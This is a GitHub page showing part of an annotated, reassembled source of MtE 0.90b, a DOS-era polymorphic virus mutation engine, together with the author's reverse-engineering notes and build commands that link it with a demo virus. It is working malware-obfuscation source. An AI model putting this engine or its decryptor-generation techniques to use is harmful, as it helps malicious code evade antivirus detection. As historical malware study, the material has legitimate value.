-
Notifications
You must be signed in to change notification settings - Fork 5
Expand file tree
/
Copy pathmte.nasm
More file actions
1632 lines (1387 loc) · 28.3 KB
/
mte.nasm
File metadata and controls
1632 lines (1387 loc) · 28.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
;
; MtE 0.90b
;
; this is probably my favourite polymorphic engine from the dos era, and the
; one that kicked off a trend of releasing engines as an obj (tpe, ned, etc).
; this is a byte-for-byte match of the binary, but unfortunately i couldn't
; find TASM 2.5 to get an identical build of the .OBJ. To assemble:
;
; > tasm /w+ /v /m mte
; > tlink /x /t demovir rnd mte
;
; it took several hours to pull this apart, as the code generation strategy and
; phases weren't immediately obvious without sticking breakpoints into the
; code. this was made difficult with traditional tools (i.e. debug.exe) by MtE
; requiring an INT 3 handler for tracing during its garbage generation to
; insert a (TEST+)JNZ payload. most of the memory references to the scratch
; area throughout the code are done indirectly via [di], i've applied the delta
; to clarify the target of the reference. this might seem a little awkward
; with '(ops - ops)[si]', but let's err on the side of readability.
;
; summary of the op table (3 to 8 used for the crypt loops only):
;
; 0 data
; 1 start/end
; 2 pointer
; 3 sub
; 4 add
; 5 xor
; 6 mul
; 7 rol
; 8 ror
; 9 shl
; A shr
; B or
; C and
; D imul
; E jnz
;
; when an argument (ops_args) is 0, the pointer reg will be used instead.
;
; some optimizations (see try_optimization) are made for generated code with
; ADD/SUB reg,[-2,2] into INC/DEC reg. impressively, this is also done for "XOR
; reg,-1" into NOT, and is the only time MtE generates NOT.
;
; structure is as follows:
; 1. intro ops, init pointer reg
; 2. crypt ops
; 3.
; a. post crypt-ops
; b. inverse of 3a
; 4. inc/inc ptr, unless an add/sub op on the ptr was adjusted in 3b
; 5. jnz *2
; 6. outro ops
;
; enjoy!
;
bits 16
MAX_ADD equ 512
MAX_ADD_LEN equ 25 ; 0x16 + 3
CODE_LEN equ 2100
MAX_LEN equ 1394 ; sizeof(struc work) + MAX_ADD_LEN
global MAX_ADD, MAX_ADD_LEN, CODE_LEN, MAX_LEN
global CODE_TOP, CODE_START
global MUT_ENGINE
extern RND_INIT, RND_GET
segment code
CODE_START:
db 'MtE 0.90', 0E1h ; E1 -> beta-ish in CP437
; IN
;
; es = work segment
; ds:dx = code to encrypt
; cx = length
; bp = offset of execution
; di = offset of code entry point
; si = offset of start address for encrypted code
; bl = routine size (1,3,7,15)
; ax = 0.7 preserve regs,
; 8 will run on different cpu
; 9 don't assume cs = ds
; 10 don't assume cs = ss
; 11 don't align
;
; OUT
;
; es = work segment
; ds:dx = decryption routine + encrypted code
; cx = length
; ax = length that was encrypted (MAX_ADD_LEN)
; di = offset of decryption routine end
; si = offset of loop start
MUT_ENGINE:
cld
push ds
push dx
push bp
call make_enc_and_dec
mov bx, dx
xchg ax, bp
pop dx
pop si
pop bp
sub bx, di
push bx
push di
push cx
call encrypt_target
pop cx
pop si
mov di, DATA_TOP
sub di, cx
push di
push dx
rep movsb
pop cx
pop dx
pop si
sub cx, dx
sub di, dx
get_arg_size:
mov ax, arg_size_neg
neg ax
retn
make_enc_and_dec:
push es
pop ds
add cx, 22 ; MAX_ADD_LEN - 3
neg cx
and cl, -2
jnz .dont_round_size
dec cx
dec cx
.dont_round_size:
xchg ax, di
mov [arg_code_entry], ax
add ax, cx
and al, -2
jnz .dont_round_end
dec ax
dec ax
.dont_round_end:
push ax
xchg ax, di
mov di, arg_flags
stosw
xchg ax, cx
stosw
xchg ax, bp
stosw
xchg ax, si
stosw
mov cl, 20h ; test for shift 0x1f masking
shl cl, cl
xor cl, 20h
mov (is_8086 - reg_set_dec)[di], cl ; 8086: 0, otherwise 0x20
.restart:
; bp = total_end
pop bp
push bp
push bx ; bx = amount of junk to make
call RND_INIT ; unusual to srand() multiple times
; although di is initially reg_set_dec (arg_flags+8*2), it
; won't be on restart!
mov di, reg_set_dec
mov cx, 8
mov al, -1
rep stosb
mov di, decrypt_stage
mov bl, 7 ; XXX bl=7 for pre-loop junk
call .make ; generates junk on the first call
dec di ; rewind the retf
cmp di, decrypt_stage
jz .nothing_emitted
push dx
push di
push bp ; bp = end of generated junk
mov ax, 1
call exec_enc_stage
pop di
xchg ax, bp
stosw ; patch the "mov reg,imm16"
pop di
pop dx
.nothing_emitted:
pop bx
pop ax
xor bp, bp
.make: push ax
push bx
push dx
push di ; save pointer into decrypt_stage
xor ax, ax
mov di, jnz_patch_dec
mov cx, di ; 0x63
rep stosw
mov al, 4 ; don't assume cs == ss, needed for the staged encryption
xchg al, (arg_flags + 1 - op_idx)[di]
push ax ; save old flags
mov dx, (arg_size_neg - op_idx)[di]
mov di, encrypt_stage
push bp
call g_code ; make encryptor
pop bp
call invert_ops
pop ax ; get flags back
pop di ; get the pointer into decrypt_stage back
pop dx
mov [arg_flags+1], al
and al, 1 ; run on diff cpu?
sub [is_8086], al ; 8086: 0, otherwise 0x20
push ax
call g_code_from_ops ; make decryptor
pop ax ; flags
add (is_8086 - ptr_reg)[si], al ; restore val
xchg ax, bx
pop bx
; ax is the second patch point
; 0 if g_code failed
; 0xff00 if we should loop
sub ax, patch_dummy
jb .restart ; loop
jnz .done ; single ref
cmp (arg_start_off - ptr_reg)[si], ax
jnz .restart
.done: pop bx
retn
encrypt_target:
add cx, dx
mov dx, di
xchg ax, di
mov ax, [arg_code_entry]
test ax, ax
jnz .entry_not_zero
mov di, DATA_TOP
.entry_not_zero:
mov bx, decrypt_stage
push cx
push ax
.fix_pop_loop: cmp bx, dx
jz .emit_jump
dec bx
mov al, [bx]
xor al, 1
cmp al, 61h ; popa
jz .dont_flip
xor al, 9 ; re-flip 1, flip 8 (50.57 -> 58..5f)
.dont_flip: stosb
inc cx
jmp .fix_pop_loop
.emit_jump: pop dx
pop ax
mov bx, patch_dummy
test dx, dx
jz .emit_align_nops
xchg ax, cx
mov al, 0E9h
stosb
mov bx, di
xchg ax, dx
stosw
mov di, DATA_TOP
.emit_align_nops: ; align?
test byte [arg_flags+1], 8
jnz .no_align
neg cx
and cx, 0Fh
mov al, 90h ; nop padding
rep stosb
.no_align:
lea ax, (ops - DATA_TOP)[di]
add [bx], ax
and al, -2
add [arg_size_neg], ax
call get_arg_size
mov ds, bp
shr ax, 1
mov cx, ax
rep movsw
exec_enc_stage:
push di
push ax
xor cx, cx
mov ds, cx
mov cx, cs
mov bx, int_3_handler
mov di, 3*4
cli
xchg cx, [di+2]
xchg bx, [di]
sti
push cx
push bx
push di
push ds
push es
pop ds
push cs
mov bx, encrypt_stage
call .jmp_es_bx ; switch control to the generated encryptor
xchg ax, bp ; set bp to the result of the junk's ax
pop es
pop di
cli
pop ax
stosw
pop ax
stosw
sti
pop bx ; caller's ax
push ds
pop es
; for any encoded JNZs, either
; a) if it's never taken, trash the JNZ's destination
; b) if it's always taken, trash all the bytes between the jump
; and the destination
mov di, jnz_patch_dec
xor si, si
mov cx, 21h ; size of the table
.find_next_fill:
xor ax, ax
repe scasw
jz .done ; no fill required
mov ax, (jnz_patch_dec - (jnz_patch_dec+2))[di]
cmp ax, si
jb .find_next_fill
; never taken? set JNZ's dest to a random value
mov dx, 1
xchg ax, si
mov ax, (jnz_patch_hits - (jnz_patch_dec+2))[di]
cmp ax, bx
jz .fill_loop
; always taken? trash the dead code
or ax, ax
jnz .find_next_fill
lodsb ; grab jnz offset
cbw
xchg ax, dx
.fill_loop:
call RND_GET ; junk [si] with dx count
mov [si], al
inc si
dec dx
jnz .fill_loop
jmp .find_next_fill
.jmp_es_bx:
push es
push bx
retf
.done: pop dx
retn
; INT 3 handles the (TEST+)JNZ pair. we record in jnz_patch_hits whether the
; branch is taken
;
; (test reg,reg)
; db 0cch, <offset>
;
; this will become JNZ later in emit_ops's encode_jnz
int_3_handler:
push bp
mov bp, sp
push di
push cx
push bx
push ax
mov bx, [bp+2] ; caller's return addr
mov al, [bx] ; get jump offset
jnz .branch_taken ; test reg,reg
xchg ax, bx
mov di, jnz_patch_enc
mov cx, 21h
repne scasw
inc word (jnz_patch_hits - (jnz_patch_enc+2))[di]
mov al, ch ; set to zero, don't jump
.branch_taken:
cbw
inc ax
add [bp+2], ax
pop ax
pop bx
pop cx
pop di
pop bp
iret
make_ops_table:
mov di, op_idx ; set the three pointers into ops
mov ax, 0101h
stosb
stosw
mov ah, 81h
mov [ops], ax ; [ops] = 1,81
.make_ops_loop:
call RND_GET ; argument for op. also decides the op
xchg ax, dx
call RND_GET ; amount of ops
mov bl, (op_next_idx - (op_idx + 3))[di]
xor bh, bh
mov si, bx
mov cx, [si-1]
cmp ch, 6 ; currently mul?
jnz .not_mul
.make_arg_odd: ; needs to be odd for gcd
or dl, 1
jmp .check_arg
.not_mul:
cmp ch, 86h
jnz .not_mul2
xor cl, cl
inc bx
.not_mul2:
and al, (junk_len_mask - (op_idx + 3))[di]
cmp al, bl
jnb .pick_op ; made enough ops?
shr bl, 1
jnb .check_arg
or cl, cl ; cl = last op
jz .last_op
.check_arg: ; 1 in 256
or dl, dl
.last_op: ; data
mov al, 0
jnz .save_op_idx
or bp, bp
jnz .make_arg_odd
mov al, 2 ; ptr
.save_op_idx:
or ch, ch
jns .more_ops
mov (op_end_idx - (op_idx + 3))[di], si
mov al, 1 ; end
.more_ops:
mov (ops - ops)[si], al
jmp .sto_arg_loop
.pick_op: ; ax = rand
xchg ax, dx
aam 12 ; al = al % 12
and ch, 80h ; final op flag?
jz .not_crypt_ops
shr al, 1 ; al = [0,5], which later becomes [3,8] at the next step
; i.e. sub, add, xor, mul, rol, ror
.not_crypt_ops:
inc ax ; using INC to preserve CF
inc ax
inc ax
mov ah, al ; al = [3,14]
mov (ops - ops)[si], al
mov dl, (op_free_idx - (op_idx + 3))[di]
inc dx
mov dh, dl
inc dh
mov (op_free_idx - (op_idx + 3))[di], dh
mov bl, dl
mov bh, 0
mov cl, bh ; bh = cl = 0
jnc .switch_args ; 50/50 when doing crypt ops (c set from the shr above)
; this is how single-ref routines are created
cmp al, 6
jb .sto_op ; [3,6) = sub,add,xor
.switch_args: xchg cl, ch
.sto_op: xor ax, cx
mov (ops - ops)[bx], ax
.sto_arg_loop: shl si, 1
mov (ops_args - ops)[si], dx
inc byte (op_next_idx - (op_idx + 3))[di]
mov al, (op_free_idx - (op_idx + 3))[di]
cmp al, (op_next_idx - (op_idx + 3))[di]
jb encode_mrm_ptr.ret
jmp .make_ops_loop
encode_mrm_beg:
dec bp
encode_mrm:
or dh, dh ; dh signed -> bl_op_reg_mrm
jns bl_op_reg_mrm ; MRM is reg,imm
encode_mrm_ptr:
mov dh, (ptr_reg - ptr_reg)[si]
inc bp
jz encode_mrm_beg
dec bp
jnz .load_arg
push bx
mov bx, (.mrm_byte - 3)
xchg al, dh
cs xlatb
cmp al, 86h ; bp+off16?
xchg al, dh
xchg ax, bx
mov cl, 2Eh ; cs: prefix
mov al, [arg_flags+1]
jnz .ptr_is_bp
test al, 2 ; cs == ds?
jnz .assume_ds
mov cl, 3Eh ; ds: prefix
.assume_ds:
test al, 4 ; cs == ss?
jmp .check
.ptr_is_bp:
test al, 4
jnz .assume_ss
mov cl, 36h ; ss: prefix
.assume_ss:
test al, 2
.check:
jz .no_override
mov al, cl
stosb
.no_override:
pop ax
call encode_op_mrm ; al = op, bl = reg, dh = rm
mov (op_off_patch - ptr_reg)[si], di
stosw
.ret: retn
.load_arg:
mov dx, bp
lea bp, [di+1]
.stc_ret:
stc
retn
.mrm_byte: ; bx x bp si di
db 87h, 0, 86h, 84h, 85h
; $ cmp -l MTE-090a.OBJ MTE-091b.OBJ
; 1014 65 175
; 1015 347 112
;
; MtE 0.90a: 0x35 0xe7
; MtE 0.91b: 0x7d 0x4a
db 7Dh ; unused?
db 4Ah ; unused?
; skip op if dh is signed
encode_mrm_dh_s:
or dh, dh
js encode_mrm_ptr
emit_op_mrm:
cmp dh, al
jz encode_mrm_ptr.ret ; dont op on the same reg
cmp byte (is_8086 - ptr_reg)[si], 0FFh ; 8086: 0, otherwise 0x20
jnz bl_op_reg_mrm ; MRM is reg,imm
push ax
or dh, dh
jz .zero_dest
or al, al
jnz .bl_op_reg_mrm_
mov al, dh
.zero_dest: or bp, bp
jnz .do_xchg
cmp al, (ptr_reg - ptr_reg)[si]
jz .bl_op_reg_mrm_
.do_xchg: pop bx
or al, 90h
stosb
retn
.bl_op_reg_mrm_:
pop ax
bl_op_reg_mrm: ; 0xc0 >> 3
or al, 00011000b
xchg ax, bx
encode_op_mrm: ; al = op, bl = reg, dh = rm
stosb
xchg ax, bx
mov cl, 3
shl al, cl
or al, dh
stosb
retn
get_op_loc:
mov bx, ax
shr al, 1
mov cx, ax
shl cx, 1
mov di, (ops_args+2)
.again:
repne scasb
jnz encode_mrm_ptr.stc_ret
lea si, (ops - (ops_args+1))[di]
shr si, 1
cmp byte [si], 3 ; non-op?
jb .again
lea ax, (ops - (ops_args+1))[di]
retn
invert_ops:
mov al, [op_end_idx]
cbw
shl al, 1
call get_op_loc
jb .ret
mov [op_idx], al
.again: call get_op_loc
jnb .not_marker
xor al, al
.not_marker:
push ax
shr al, 1
mov (ops_args - ops)[bx], al
shr bl, 1
lahf
mov al, (ops - ops)[bx]
and al, 7Fh
cmp al, 3
jnz .not_sub
sahf
jb .done
inc ax ; 3 -> 4, sub -> add
jmp .store
.not_sub: ; add
cmp al, 4
jnz .maybe_mul
sahf
jnc .dec_store ; nc -> change to sub
mov si, bx
mov cl, 8
rol word (ops_args - ops)[bx+si], cl
.dec_store: dec ax
jmp .store
.maybe_mul: cmp al, 6
jb .done
jnz .toggle_rotate
; is mul. set arg to the multiplicative inverse.
shl bl, 1
mov bl, (ops_args + 1 - ops)[bx]
shl bl, 1
mov si, (ops_args - ops)[bx]
xor ax, ax
mov dx, 1
mov cx, ax
mov di, dx
.gcd_loop:
mov (ops_args - ops)[bx], di
dec si
jz .done
inc si
div si
push dx
mul di
sub cx, ax
xchg cx, di
mov ax, si
xor dx, dx
pop si
jmp .gcd_loop
.toggle_rotate:
xor al, 0Fh ; toggle 7/8. rol and ror
.store: mov (ops - ops)[bx], al
.done: pop ax
or al, al
jnz .again
shr byte [op_idx], 1
.ret: retn
g_code:
mov [junk_len_mask], bl
.no_mask: ; second entry point, for loop
push dx
push di
call make_ops_table
pop di
pop dx
g_code_from_ops: ; called from make_enc_and_dec, and further down to loop
push di
mov di, reg_set_enc
mov ax, -1
stosw ; ax and cx available
inc al
stosw ; dx unavailable bx available
stosw ; sp unavailable bp available
dec al
stosw ; si and di available
mov (last_op_flag - ptr_reg)[di], al
mov bl, (op_idx - ptr_reg)[di]
push bx
push dx
call get_op_args ; bl = idx to op
mov si, di ; si = 0x14c
call ptr_and_r_sto ; pick a pointer and data reg
pop dx
pop bx
pop di
; bp = size_neg => intro junk
; 1 => making loop
; 0 => making decryptor loop end+outro
; -1 => only when called recursively
push bx
inc bp
jz .making_junk
dec bp
jnz .do_intro_garbage
inc bp
.making_junk: dec bp
inc dx ; when dx = -1 we're making outro junk
jz .no_mov
dec dx
dec bp
mov al, (ptr_reg - ptr_reg)[si] ; al = index register
call emit_mov ; writes out the mov index,size_neg
inc bp
.no_mov: pop bx
push di
call emit_ops
or bp, bp
jnz .not_dec_end
pop cx
dec bp
mov ax, patch_dummy
xchg ax, (op_off_patch - ptr_reg)[si]
or dh, dh
js .maybe_null
inc bp
push cx
push ax
mov al, (last_op_flag - ptr_reg)[si]
and al, 10110111b
cmp al, 10000111b
jnz .do_end_of_loop
cmp bp, (arg_start_off - ptr_reg)[si] ; start off is zero?
jnz .do_end_of_loop
; sub/neg routine
xor byte [di-4], 2 ; change the direction of the op
shl byte (last_op_flag - ptr_reg)[si], 1
jns .single_ref
mov bl, 0F7h ; f7 series op
mov al, 3 ; NEG
jmp .emit_eol_bl
.maybe_null:
cmp cx, (decrypt_stage+3)
jnz .not_null
; only encoded a mov, rewind
sub cx, 3
sub di, 3
mov bl, (ptr_reg - ptr_reg)[si]
xor bh, bh
dec byte (reg_set_dec - ptr_reg)[bx+si]
.not_null:
mov bx, patch_dummy
jmp .size_ok
.not_dec_end: or dh, dh
jns .making_enc
mov dh, [si]
jmp .making_enc
.do_intro_garbage:
push bp
call emit_ops
mov al, (data_reg - ptr_reg)[si]
or al, 90h
stosb
pop ax
or dh, dh
jns .making_enc
xchg ax, dx ; dx = size neg
.making_enc:
pop ax
mov bh, 0FFh
.encode_retf:
mov byte [di], 0CBh
retn
; encode store, inc, and jnz
.do_end_of_loop:
call RND_GET
and al, 2
add al, 87h ; mov or xchg, 50/50
xchg ax, bx
mov al, dh
.emit_eol_bl: call encode_mrm_ptr ; come here directly when we're negging
.single_ref: mov al, (ptr_reg - ptr_reg)[si]
cmp di, encrypt_stage
jnb .emit_inc
; post crypt ops junk in the decryptor. we generate ops, and
; then generate the inverse. this amount of junk will be
; halved with the "shr [junk_len_mask],1" for account for the
; two calls
push ax
dec bp
xor dl, dl
mov dh, al
; XXX safe to patch here with "mov [si-1e],dl" for no junk
shr byte (junk_len_mask - ptr_reg)[si], 1
call g_code.no_mask
push dx
push di
call invert_ops
call try_ptr_advance ; returns -1 in cx if an add/sub ptr was found (and adjusted)
pop di
pop dx
push cx
call g_code_from_ops
pop cx
pop ax
call emit_mov ; restore reg
or ch, ch ; did we try_ptr_advance?
js .emit_jnz ; (sub ptr,regval-2 | add ptr,regval+2 style)
.emit_inc:
or al, 40h
stosb
stosb
.emit_jnz:
mov al, 75h
stosb
pop bx
pop ax
mov cx, ax
sub ax, di
dec ax
stosb
or al, al
js .size_ok
; too big
xor bx, bx
retn
.size_ok:
call .encode_retf
push cx
mov dx, DATA_TOP
cmp di, encrypt_stage
jnb .patch_offsets ; don't need to make junk and pushes for encryptor
; more junk, post loop. with a "routine size" of 7.
push bx
mov bl, 7 ; XXX routine size
mov dx, bp
call g_code
; emit pushes before the decryptor, if required
push di
mov di, (decrypt_stage - 1)
xor bx, bx
mov dx, di
mov cl, (arg_flags - ptr_reg)[si] ; grab the reg save bitfield from args
.emit_push_loop:
shr cl, 1
pushf
jnc .dont_emit_push ; save requested?
cmp bh, (reg_set_dec - ptr_reg)[bx+si]
jnz .dont_emit_push ; was it actually used?
lea ax, [bx+50h] ; push
std
stosb
.dont_emit_push:
inc bx
popf
jnz .emit_push_loop
inc di
cmp di, dx
jnb .pushes_done
cmp bh, (is_8086 - ptr_reg)[si] ; 8086: 0, otherwise 0x20
jnz .cant_pusha
mov di, dx
mov byte [di], 60h ; pusha
jmp .pushes_done
.cant_pusha: push di
.randomize_pushes:
call RND_GET
and al, 7
cbw
xchg ax, bx
add bx, di
cmp bx, dx
ja .randomize_pushes
mov al, [di]
xchg al, [bx]
stosb
cmp di, dx
jnz .randomize_pushes
pop di
.pushes_done:
pop bp
; finally, adjust offsets
mov cx, bp